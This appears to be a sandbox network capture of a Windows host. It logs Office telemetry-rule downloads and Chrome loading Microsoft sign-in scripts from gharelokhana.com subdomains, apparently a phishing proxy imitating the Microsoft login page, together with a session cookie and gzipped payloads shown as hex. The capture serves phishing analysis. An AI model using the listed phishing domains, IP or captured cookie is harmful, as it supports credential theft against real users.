2024-12-04 15:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151531Z-1746fd949bd9x4mhhC1EWRb76n00000001eg00000000a6mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49762	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:31 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:31 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151531Z-1746fd949bddtfvqhC1EWRxbpg00000001cg000000004mz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:31 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49763	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:31 UTC	565	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:32 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:32 GMT Content-Type: application/x-javascript Content-Length: 10932 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 27 Aug 2024 00:48:37 GMT etag: 0x8DCC631FC6EAF1F x-ms-request-id: 51222851-f01e-000e-45d0-44d54b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151532Z-15b54885d96644sphC1FRAnatc000000060000000000sqhp x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:32 UTC	10932	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 7d db 72 e3 38 b2 e0 af 68 38 1b dd f6 36 ed d6 d5 96 59 ad e9 a5 25 d9 d6 94 2c a9 25 b9 dc 1d 35 bd 0a 5a 84 64 8e 29 52 c3 4b b9 34 9e 8a 98 f7 7d dd 97 fd bd f3 25 9b 17 80 04 75 71 b9 7a 36 62 eb c1 45 02 89 04 90 c8 4c 64 26 12 d4 9f 16 69 30 4f bc 30 38 12 c7 2f ea b9 14 1e 25 c7 2f de e2 28 f8 98 fc 7e 1c 89 24 8d 82 12 3e 9f 8a cf eb 30 4a e2 77 9f 9c a8 e4 b5 b0 a8 f5 22 cb ac 97 2f a6 e7 5a 89 e9 87 8e 2b 5c eb 4f 95 2f ef 64 53 81 4d e7 8e ef 1f 79 0a 83 e9 99 f9 73 78 0c 2f dc ac f5 a7 72 5e f1 05 bb 09 5a 2f 19 a2 f0 74 d5 12 66 78 3a 6f 05 f0 77 dd 32 0c 33 3c 2a 1f 7f 39 fa 98 4f c3 0c cd e0 f8 25 38 aa 1e d3 28 93 56 70 54 01 fc f0 5f fd d8 8c e0 bf c6 b1 e9 b4 bc d3 6e 14 85 51 47 c4 73 33 56 6f 53 2f f1 Data Ascii: }r8h86Y%,%5Zd)RK4}%uqz6bELd&i0O08/%/(~$>0Jw"/Z+\O/dSMysx/r^Z/tfx:ow23<*9O%8(VpT_nQGs3VoS/

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49753	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151532Z-1746fd949bdl6zq5hC1EWRf3ws00000001300000000088p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49765	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:32 UTC	682	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:33 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:33 GMT Content-Type: application/x-javascript Content-Length: 40475 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 26 Feb 2021 06:13:13 GMT etag: 0x8D8DA1D997CA245 x-ms-request-id: 656ab402-901e-003c-09d0-449d2e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151533Z-15b54885d96wlntrhC1FRA9y7800000005d000000000cbyz x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:33 UTC	6408	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 7b db c6 b5 37 fa ff 79 9e f3 1d 44 34 65 01 73 48 91 76 93 77 17 14 c2 c7 91 9d c4 6d ee 72 9a a4 14 93 07 26 87 12 62 0a 60 00 50 b2 22 72 7f f6 b3 7e 6b 2e 18 5c 28 a7 dd fb 3d 6e 23 e2 32 98 eb 9a 35 eb be 4e 9f f4 4e 7e fd 76 27 f3 fb 93 db 67 a3 0f 47 93 93 fd 89 bf 0c 4e fe 7e 71 f2 69 b6 4b 57 71 99 64 e9 49 9c ae 4e b2 f2 5a e6 27 cb 2c 2d f3 e4 cd ae cc f2 82 8a fe fa 1b 3e 1d 65 f9 d5 e9 26 59 ca b4 90 27 4f 4e ff df ff a7 b7 de a5 4b 7c e9 4b 51 06 0f de 8e 9e 17 f4 dd b2 f4 a6 5e f6 e6 57 49 17 51 54 de 6f 65 b6 3e b9 c9 56 bb 8d ec f7 8f bc 18 c9 77 db 2c 2f 8b 59 fd 36 92 a3 55 b6 dc dd c8 b4 9c 95 d4 4c 6f 1c 84 55 ab c1 43 b2 f6 7b 55 91 a0 bc ce b3 bb 93 54 de 9d bc cc f3 2c f7 3d 3d e8 5c fe b6 4b Data Ascii: {{7yD4esHvwmr&b`P"r~k.\(=n#25NN~v'gGN~qiKWqdINZ',->e&Y'ONK\|KQ^WIQToe>Vw,/Y6ULoUC{UT,==\K
2024-12-04 15:15:33 UTC	16384	IN	Data Raw: d3 56 b5 68 2d d5 1c 52 8c b5 2f 9b 96 68 76 32 0a 4c 46 63 04 35 5b d3 a8 30 6c 7f 2e e6 bc c4 b2 3e 9a 98 46 43 90 43 70 b1 50 24 4a ac 86 43 3f 49 50 1f 4c cd 8f 2c 67 5a 46 14 7e ae a5 0a 74 24 0a 7e c8 b7 bd 44 c1 34 b4 84 b4 02 b5 31 3e 66 57 64 18 76 69 f9 74 c8 f5 35 9b 7e a4 16 48 ef 1a 04 71 bb 62 1c 71 35 3e 67 bf 07 03 53 9d 6e 25 f7 75 13 a7 57 b5 66 aa 11 ff 53 93 7f 4c 15 1c 83 58 fe 9e e0 35 0d 04 c4 3e 8f 51 66 a2 45 39 4c 57 19 4b 25 23 b0 e7 5c 53 93 30 79 77 b3 09 f1 02 1d 68 be 53 cf 03 e3 8c dd f4 c9 0a 9c d8 00 76 d0 29 9f d2 07 05 0a cc f5 39 82 aa a6 69 5d 50 89 41 69 a6 ca 38 6f fa f8 2b f2 87 28 de 6c 19 2b a1 6c 75 8d 7d 78 5d 53 ac 1b 8b 7c 6e 23 59 11 bf 96 65 9d 31 03 20 0a 8c 89 0a 86 f7 d3 b1 f7 e7 a3 78 09 5e af b2 f9 e9 Data Ascii: Vh-R/hv2LFc5[0l.>FCCpP$JC?IPL,gZF~t$~D41>fWdvit5~Hqbq5>gSn%uWfSLX5>QfE9LWK%#\S0ywhSv)9i]PAi8o+(l+lu}x]S\|n#Ye1 x^
2024-12-04 15:15:33 UTC	16384	IN	Data Raw: 62 77 71 70 c3 7e 2e 53 66 73 f4 f3 14 3f 41 2b 8e 7f 54 cb f3 64 c3 51 10 a5 0e 91 a8 51 f1 fb 3a bf 47 2d 02 02 8c 35 23 35 11 5a ed dc f0 e2 64 8d b9 13 b9 1e 88 d9 d0 03 b3 ad 49 89 1c d4 93 d1 33 1a a7 0b 7e 56 9b 13 4e 64 9f 54 96 67 89 6b 82 97 d3 e9 67 2c cf ca 20 98 e5 a1 df c8 5f 46 03 19 20 78 46 aa 2a b9 b2 95 e8 e8 3d 5c 85 c9 5f 8c 0a 34 ff cf 9b 15 89 18 62 d3 89 60 a6 73 c8 33 7d 6b 86 1f aa 80 ff 0f 4d bb 27 65 f0 eb 82 25 b5 ae 80 55 a5 9c 65 d3 5d 03 d9 7a 73 4b 0d b1 55 ee 8d 8e 7c 6e 3a cd b2 2e 1b a5 2a d2 d6 11 e0 6b 6a ce d8 07 d1 ca f8 20 00 6a 25 8f d7 3e 05 51 32 cf 11 9f ba 1d 6b 48 9d 22 db 96 1a d6 3d 7d 98 a4 46 08 92 da 4a a6 08 5d 54 1b 53 aa a4 94 36 8a 60 1b 72 54 32 57 dd e7 d3 cb bb c1 29 b1 de ed 01 c6 d1 aa d4 46 80 Data Ascii: bwqp~.Sfs?A+TdQQ:G-5#5ZdI3~VNdTgkg, _F xF=\_4b`s3}kM'e%Ue]zsKU\|n:.kj j%>Q2kH"=}FJ]TS6`rT2W)F
2024-12-04 15:15:33 UTC	1299	IN	Data Raw: 43 81 58 a3 36 f1 08 26 3e 09 d4 e1 ac 4c 1c c0 72 0a 60 19 00 58 e9 a9 53 d1 ad c8 8f 60 ea 5e fb c9 ce 7e fb 7b 32 5b 9e 94 0b 00 9b f0 15 db e4 9e 22 7b 01 a2 0d 0b 00 98 8a 33 8b 1b 87 a0 fd 3d ec 7a 1d 17 54 c0 20 ac 2f 48 84 60 a0 e5 ba d5 e5 7c 60 13 3b ed ef 5b e3 72 59 9f 5b 99 e1 a7 4a 2b 2e 42 85 ea b4 e1 8b 1f aa e5 2d 87 00 f3 0b 62 7f 67 8c d7 17 9c cf 9d 31 62 ab 48 43 ea 7f d8 b8 37 06 c0 8a 11 eb 94 1d b4 18 11 44 06 58 54 7b 09 65 2f 63 ea 65 6c f6 32 d6 bd 48 40 88 2d fc 34 41 e4 83 f7 af 07 7d ef 40 d9 ef 0f be c7 ee 80 ec c0 23 18 1d 9a e5 f4 85 5d 2b dc 1a 13 ca d6 63 c4 10 0d 51 e5 c2 8c 04 f9 e3 28 65 f1 ae 4d 73 ab f5 a3 8a 78 31 ee 4e c4 1e d5 30 57 b7 d6 6c 0d fb c2 dc 3a 07 ed 7f 7e ef 97 34 cd 3f db df ff e3 e0 7b a4 31 10 eb Data Ascii: CX6&>Lr`XS`^~{2["{3=zT /H`\|`;[rY[J+.B-bg1bHC7DXT{e/cel2H@-4A}@#]+cQ(eMsx1N0Wl:~4?{1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49766	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:32 UTC	680	OUT	GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg==" Sec-WebSocket-Key: +3BnCYzXFmE2rRIg62YZ6Q== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-04 15:15:33 UTC	743	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 04 Dec 2024 15:15:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: e07bc4bb-dbd8-4221-baf5-704a04b80e00 x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49764	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:32 UTC	664	OUT	GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1 Host: 7eb5b5ab-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:33 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:33 GMT Content-Type: application/x-javascript Content-Length: 98504 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5400627 cache-control: public, max-age=31536000 etag: 0x8DCE31CBF93C4DB last-modified: Wed, 02 Oct 2024 19:59:39 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3f5df5b3-801e-0086-4e41-154dde000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-04 15:15:33 UTC	6449	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 77 e3 36 b2 38 f8 ff 7e 0a 99 33 eb 90 31 ad d6 d3 0f 3a 8c af 2c ab bb 35 b1 2d 8f 65 27 99 eb f6 f8 50 24 24 33 96 49 5d 92 f2 63 24 fd 3e fb 56 15 00 12 a4 28 77 77 66 ce 9e bb 67 f3 b0 08 a0 f0 2a 14 0a 55 40 a1 f0 e1 c7 ad ff ab f2 63 65 f7 db ff a9 0c af 3b 57 d7 95 c1 c7 ca f5 e7 fe d5 69 e5 12 42 ff a8 5c 0c ae fb dd de b7 97 83 95 e2 ff d7 0f 7e 5c 19 fb 53 56 81 df 91 13 33 af 12 06 95 30 aa f8 81 1b 46 b3 30 72 12 16 57 9e e0 6f e4 3b d3 ca 38 0a 9f 2a c9 03 ab cc a2 f0 0f e6 26 71 65 ea c7 09 64 1a b1 69 f8 52 d1 a1 b8 c8 ab 5c 3a 51 f2 56 e9 5f 1a 55 28 9f 41 69 fe c4 0f 20 b7 1b ce de e0 fb 21 a9 04 61 e2 bb ac e2 04 1e 95 36 85 40 10 b3 ca 3c f0 58 54 79 79 f0 dd 87 ca b9 ef 46 61 1c 8e 93 4a c4 5c e6 Data Ascii: {w68~31:,5-e'P$$3I]c$>V(wwfgU@ce;WiB\~\SV30F0rWo;8&qediR\:QV_U(Ai !a6@<XTyyFaJ\
2024-12-04 15:15:34 UTC	16384	IN	Data Raw: ec ce 89 ab 18 61 f3 31 80 b5 97 df ec d7 b5 45 6d 65 57 20 1d 0f 37 ec ea a2 be 3a 9a 01 79 da 8b c6 ea 88 d3 24 10 67 73 b5 68 ad 16 ed 95 66 72 f5 bb 57 cd c8 d5 9c 9a 33 65 43 e4 df 2e 3f 2c 2b 7f 65 be 44 7e b2 ce bf 4d df 74 c4 86 c0 82 5b a8 3a c7 80 5a 44 ca d4 56 4e 7d b0 72 65 48 8e 40 e0 9c 52 18 a6 76 cd 3c 87 06 55 9f 9c 57 f8 9c ca eb 47 0d c3 10 57 23 bd 9d 29 67 81 94 b3 57 a5 96 e0 e6 78 0f db e8 a8 cd 39 a6 71 b8 e4 f3 13 1b af f3 b3 77 73 26 1a 29 fa 91 cf 5d ec 95 ec d3 94 df 84 25 de 6a f4 84 42 03 30 8e b8 c6 95 59 78 db 21 b0 2f 92 9d 85 dc 98 11 b2 e8 85 39 b7 7d 20 1a 89 71 20 3e c4 d1 18 d1 25 c7 46 db 71 30 6e 62 47 9c 1c 47 76 92 23 b3 a3 19 de e0 c4 fb 4b 0c cf 7a e2 82 09 84 76 24 09 0f 4a 8a ad f7 29 52 6c da 3d e5 e9 44 50 Data Ascii: a1EmeW 7:y$gshfrW3eC.?,+eD~Mt[:ZDVN}reH@Rv<UWGW#)gWx9qws&)]%jB0Yx!/9} q >%Fq0nbGGv#Kzv$J)Rl=DP
2024-12-04 15:15:34 UTC	16384	IN	Data Raw: c3 e6 e5 8c ba 8e a7 16 a7 05 90 ed c8 b6 8b e3 05 30 f2 f5 ac 33 8b de 82 a2 db 29 19 ca be 9e 6f 9c e5 4b 07 ed eb b9 26 94 2b b0 23 69 cf a5 6b 4f 8f 78 e1 21 51 a3 a6 b8 a9 e0 db b7 e9 33 96 c1 f1 ed 2d 01 9a c1 dd 9d 75 7b 67 26 18 81 73 1e 68 84 c7 dc 63 0c 86 ef 79 f8 0d c3 9c 6c ef 31 fa 8d 47 0f 31 7a ec fa 20 da f1 88 2e 46 04 21 3d 62 4c 31 e8 ae 7e 91 5a 9d e3 d6 81 e7 e9 5a fe 46 77 35 8e c6 9a 09 4c 4a b1 45 b7 42 f5 e2 01 6d 2f f0 fd 52 a7 5a 6a db 8f 66 bd c2 62 1d 1d 3c 8a d9 67 bd 9a 05 23 70 eb d1 2c 98 80 5b 2f 66 c1 00 dc ba 5e 99 a1 34 dd e7 27 93 9e e9 16 ed df c4 52 7d 94 94 19 29 02 4b 59 c1 34 c4 ed b8 c4 4e f8 75 8e 8d 16 6a 62 fb 23 34 16 6b 87 b1 7c c3 9b 0c 72 f9 a7 b1 52 f4 c6 cd 3a 5f 8b ab 7c 87 a8 f2 f1 5d 3e be b1 18 03 Data Ascii: 03)oK&+#ikOx!Q3-u{g&shcyl1G1z .F!=bL1~ZZFw5LJEBm/RZjfb<g#p,[/f^4'R})KY4Nujb#4k\|rR:_\|]>
2024-12-04 15:15:34 UTC	3432	IN	Data Raw: 89 1d 5e a9 da a9 40 7d b7 14 9c 7b 22 f5 60 b4 7b e0 1d aa 9f a3 07 ce 38 1a 3b 0f 34 1d 5b a6 a3 0d 63 79 00 d7 5c c9 2b 9a 64 55 0a b8 7c e0 90 ac b1 66 ba 79 55 94 47 2c ad 81 0b 4c dd a9 7f 12 30 43 e7 9f c8 aa bf cf 39 eb f3 ba 2c 56 55 43 ba 35 c9 e7 79 dc ec f5 80 d8 5f 6b d2 6a 88 ad eb 8c 37 63 67 44 8b 67 c4 9d f1 46 51 49 d3 56 5e 73 76 6c f6 b6 c2 37 68 d6 f4 37 9a 77 55 e8 5e 8b 32 8f 2c ba ae 16 80 c5 fc 51 8d b4 62 cf 18 ce 75 90 aa 6f c2 88 67 74 18 ac ad 4b 75 8b a1 e1 69 d3 52 c5 a1 56 9a 43 ad 0c 87 fa c0 e2 50 e5 fc 37 f3 ea 3c c0 50 60 79 22 47 d6 f8 81 cd 9c 3e 18 9b 2a fc 8a f9 21 8d 76 7d 06 94 7b cc 80 75 94 4e a2 70 03 57 0a ff ae f3 16 11 c0 27 16 23 77 da 62 85 e0 71 6b fb 2b 1e 07 27 d1 2c 9d 08 13 7c 02 36 aa f4 81 e9 ce 27 Data Ascii: ^@}{"`{8;4[cy\+dU\|fyUG,L0C9,VUC5y_kj7cgDgFQIV^svl7h7wU^2,QbuogtKuiRVCP7<P`y"G>*!v}{uNpW'#wbqk+',\|6'
2024-12-04 15:15:34 UTC	16384	IN	Data Raw: ac e6 2c ce 62 0d 6d f2 ec cf 4d 8a 0d c5 2e 7c 6e 3b d5 b0 95 d0 87 8f c6 c2 e6 c5 79 fe 9e 22 9b 2b 5c 0f cf 1d bf 18 3e 3f 6d 0a 41 2c 07 56 58 32 73 cd a2 0b 0d 56 02 78 2f 6a 6a 81 91 d3 0f 91 bf 81 a7 7b 6f af 9e 64 1c 2a 5f b7 9d d0 68 d1 96 42 ee 10 15 6e 5e 64 d8 3e b3 47 78 ea 76 50 31 8d 82 63 c9 02 bc bf e6 8a 44 2e 3e 4a fd 9e 2f dd e6 65 49 c0 f0 02 66 5b 8d 63 14 57 15 37 00 cb bc 77 93 e9 bc 7a a1 96 05 2b 2d af aa 4f 24 bb 53 65 88 a8 07 54 7b f5 ec a3 f4 b8 f9 7c ae ac 2e 76 e7 95 37 a7 3a 86 b8 65 92 d8 fd 53 1b 57 83 6e 13 63 c7 c9 e0 07 28 a5 a3 9f 39 44 71 01 f4 a0 7f 33 14 ac fe 11 36 03 a3 6e ed f8 7e d3 c0 a6 e5 03 4b da 9a 6c 43 4f d9 5f a1 cb b5 f6 bc 40 72 d7 3e e7 6c 8f d8 68 40 5b ab 76 2d b6 49 d4 66 d4 b4 29 91 ea 9b 47 da Data Ascii: ,bmM.\|n;y"+\>?mA,VX2sVx/jj{od*_hBn^d>GxvP1cD.>J/eIf[cW7wz+-O$SeT{\|.v7:eSWnc(9Dq36n~KlCO_@r>lh@[v-If)G
